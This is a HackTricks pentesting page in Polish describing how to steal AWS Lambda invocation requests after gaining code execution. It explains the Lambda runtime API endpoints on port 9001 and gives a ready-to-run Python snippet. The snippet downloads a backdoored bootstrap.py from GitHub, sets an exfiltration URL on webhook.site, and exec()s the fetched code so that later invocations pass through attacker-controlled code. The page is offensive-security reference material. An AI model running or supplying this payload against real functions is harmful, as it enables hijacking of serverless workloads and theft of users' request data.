AWS - Steal Lambda Requests

Wsparcie dla HackTricks

Przepływ Lambda

  1. Slicer to proces poza kontenerem, który wysyła wywołania do procesu init.

  2. Proces init nasłuchuje na porcie 9001, udostępniając kilka interesujących punktów końcowych:

  • /2018-06-01/runtime/invocation/next – pobierz następne zdarzenie wywołania

  • /2018-06-01/runtime/invocation/{invoke-id}/response – zwróć odpowiedź handlera dla wywołania

  • /2018-06-01/runtime/invocation/{invoke-id}/error – zwróć błąd wykonania

  1. bootstrap.py ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (/next).

  2. Na koniec bootstrap.py wysyła do init odpowiedź

Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu przez kod użytkownika odbywają się w tym procesie.

Kradzież żądań Lambda

Celem tego ataku jest sprawienie, aby kod użytkownika wykonał złośliwy proces bootstrap.py wewnątrz procesu bootstrap.py, który obsługuje podatne żądanie. W ten sposób złośliwy proces bootstrap zacznie rozmawiać z procesem init, aby obsługiwać żądania, podczas gdy legit bootstrap jest uwięziony, uruchamiając złośliwy, więc nie będzie prosił o żądania do procesu init.

To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany przez legitny proces bootstrap.py. Tak więc atakujący mógłby:

  • Wysłać fałszywy wynik bieżącego wywołania do procesu init, aby init myślał, że proces bootstrap czeka na więcej wywołań.

  • Żądanie musi być wysłane do /${invoke-id}/response

  • invoke-id można uzyskać ze stosu legitnego procesu bootstrap.py za pomocą modułu inspect w Pythonie (jak proponowano tutaj) lub po prostu ponownie żądając go do /2018-06-01/runtime/invocation/next (jak proponowano tutaj).

  • Wykonać złośliwy boostrap.py, który obsłuży następne wywołania

  • Dla celów ukrycia można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.

  • Do tego ataku wystarczy pobrać oryginalny kod bootstrap.py z systemu lub github, dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.

Kroki ataku

  1. Znajdź podatność RCE.

  2. Wykonaj złośliwy bootstrap.

Możesz łatwo wykonać te działania, uruchamiając:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

For more info check https://github.com/carlospolop/lambda_bootstrap_switcher

References

Wsparcie HackTricks

Last updated